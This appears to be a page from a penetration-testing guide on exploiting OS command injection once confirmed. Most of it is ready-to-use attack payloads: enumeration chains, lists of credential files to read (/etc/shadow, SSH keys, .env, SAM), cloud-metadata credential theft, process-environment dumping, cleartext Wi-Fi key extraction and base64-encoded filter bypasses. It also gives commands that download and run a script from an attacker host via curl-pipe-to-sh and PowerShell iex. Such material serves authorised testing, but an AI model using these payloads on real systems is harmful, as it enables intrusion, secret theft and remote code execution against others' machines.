Execution
You confirmed injection. Now run something that earns the finding: identity, environment, network reachability, secrets on disk. Pick payloads that fit on one line, return useful output through whatever channel the app gives you, and don’t crash the original command.
# Linux<original>;id;hostname;uname -a;cat /etc/passwd# Windows<original>&whoami&hostname&systeminfoFirst-contact enumeration
Section titled “First-contact enumeration”Run these in order. Each answers a question that decides what comes next.
id # who am I, what groupshostname # is this the box I think it isuname -a # kernel version → kernel exploitswhoami # short form of idpwd # working directory of the web processls -la # what's aroundcat /etc/passwd # users with shellscat /etc/os-release # distro and versionip a # interfaces, internal IPsss -tlnp 2>/dev/null # listening services (sockets)env # environment variables - secrets often heresudo -n -l # passwordless sudo entrieswhoami /all # identity, groups, privilegeshostname # machine namesysteminfo # OS, patches, domainipconfig /all # interfaces, DNS, domainnet user # local usersnet localgroup administrators # who's admintasklist /v # processes with usernamesGet-ChildItem env: # environment variablesGet-LocalUser # PowerShell-native user listThe cmd.exe equivalents (whoami, hostname, ipconfig, net user) work in both shells.
Reading files
Section titled “Reading files”cat <PATH> # standardhead -c 4096 <PATH> # first 4KB only - cap noisy outputtail -n 50 <PATH> # last 50 linesxxd <PATH> | head # binary previewbase64 -w0 <PATH> # for exfil through small fieldsHigh-value targets:
/etc/passwd # user list/etc/shadow # if running as root/var/www/html/.env # framework secrets, DB creds/var/www/html/config.php # legacy PHP creds~/.ssh/id_rsa # SSH keys for current user~/.ssh/authorized_keys~/.bash_history # recent commands/root/.ssh/ # if root/proc/self/environ # current process env vars/proc/<PID>/cmdline # process arguments - sometimes reveals credstype <PATH> # cmd-styleGet-Content <PATH> # PowerShell-styleGet-Content <PATH> -TotalCount 50 # first 50 lines[Convert]::ToBase64String([IO.File]::ReadAllBytes('<PATH>')) # base64 for exfilHigh-value targets:
C:\Users\<USER>\Desktop\C:\Users\<USER>\Documents\C:\inetpub\wwwroot\web.config # IIS app config, often DB credsC:\Windows\System32\drivers\etc\hostsC:\Windows\Panther\Unattend.xml # autoinstall creds (LP)C:\Windows\System32\config\SAM # locked while running, but checkOutput capture patterns
Section titled “Output capture patterns”The back-end may not return everything. Common shapes:
- Output appended to original - your payload runs, you see both. Default for
;,\n,&&. - Output replaces original - pipe-style. Use
|or; cmd; exit 0. - Output captured to file then displayed parsed - parsing strips your additions. Inject
; <CMD> > /tmp/.x; cat /tmp/.xand read the file directly. - Only first line shown - chain with
;and look at responses for the first line of each. Or usehead -n1deliberately to control what’s first. - Only stderr/stdout shown, not both - redirect:
id 2>&1, orid 1>&2.
Force output through a known channel:
;id 2>&1 # merge stderr into stdout;id;echo ===END=== # delimiter for parsing;{ id; hostname; } 2>&1 # group multiple commands;id > /tmp/.r 2>&1; cat /tmp/.r # write-then-readCompress before exfil if the field is size-limited:
;tar czf - /etc/passwd /etc/hosts 2>/dev/null | base64 -w0& whoami 2>&1 # merge streams (cmd)& whoami & echo ===END=== # delimiter;whoami | Out-String # force string output (PS);Get-Content C:\out.txt # write-then-read patternEncode for size-limited or filtered fields:
;[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((whoami)))Useful one-liners
Section titled “Useful one-liners”Find writable directories (staging area for tools):
;find / -writable -type d 2>/dev/null | grep -Ev '^/(proc|sys|run)' | headFind SUID binaries (privesc candidates):
;find / -perm -4000 -type f 2>/dev/nullPull recent web app config files:
;find /var/www /opt /srv -maxdepth 4 -name '*.env' -o -name 'config.php' -o -name 'settings.py' 2>/dev/nullCheck for cloud metadata (AWS/Azure/GCP):
;curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/Dump process environments (other users’ secrets sometimes leak):
;for p in /proc/[0-9]*/environ; do echo $p; tr '\0' '\n' < $p 2>/dev/null; doneStored credentials:
;cmdkey /list;Get-ChildItem -Recurse -ErrorAction SilentlyContinue -Path C:\Users -Include *.kdbx,*.config,unattend.xml,sysprep.xmlSaved Wi-Fi profiles (with cleartext keys):
;netsh wlan show profile;netsh wlan show profile name="<NAME>" key=clearService binaries with weak permissions (privesc):
;Get-CimInstance Win32_Service | Select Name,PathName,StartName | Format-Table -AutoCloud metadata:
;Invoke-RestMethod -Uri http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Headers @{Metadata="true"} -TimeoutSec 2Chaining commands
Section titled “Chaining commands”When you need multiple commands and the separator situation is constrained, group them.
;{ id; hostname; uname -a; } 2>&1 # group, single output stream;sh -c 'id;hostname;uname -a' # explicit shell wrapper;bash -c '$(echo aWQ7aG9zdG5hbWU=|base64 -d)' # encoded payload (filter bypass)& (whoami & hostname & systeminfo) # cmd: parens group commands; whoami; hostname; systeminfo # PS: semicolons chain;powershell -c "whoami;hostname" # explicit shell wrapperPowerShell encoded command (filter bypass + chaining):
;powershell -enc <base64-utf16le>Common failure modes
Section titled “Common failure modes”- Command runs but no useful output appears. The web layer is filtering or trimming. Write to a file you can read via another endpoint, or move to OOB exfil (Blind & OOB).
- PATH is restricted.
idworks,pythondoesn’t. The web user has a stripped PATH. Use absolute paths:/usr/bin/python3,/bin/nc. Find binaries with;ls /usr/bin /usr/local/bin /opt. - Shell is
dash, notbash. Default/bin/shon Debian/Ubuntu is dash, which lacks bash-isms (<<<,${var:0:1}, arrays). Use POSIX-only constructs, or invokebash -c '...'explicitly. - Windows cmd.exe path issues.
whoamiworks without a path;Get-Contentrequires PowerShell. If;doesn’t separate, you’re in cmd.exe - use&and stick to cmd-native commands. - Long payloads truncated. URL parameters often cap at 2-8KB. Move heavy logic into a one-liner that downloads a script:
;curl <ATTACKER>/x.sh|sh(Linux) or;iex(iwr -UseBasicParsing <ATTACKER>/x.ps1)(PowerShell). - Non-ASCII characters mangled. UTF-8 in your payload may double-encode. Stick to ASCII; use
\xNNor base64 for binary content.
Output capture is the difference between proof-of-concept and a real finding. A separator that “works” but returns nothing is functionally identical to no injection at all from a reporting perspective - you can’t show anything in the writeup. Always confirm with output (id, whoami) before chasing exploitation. If output is structurally unavailable, switch to blind techniques immediately rather than burning time on visible-output payloads.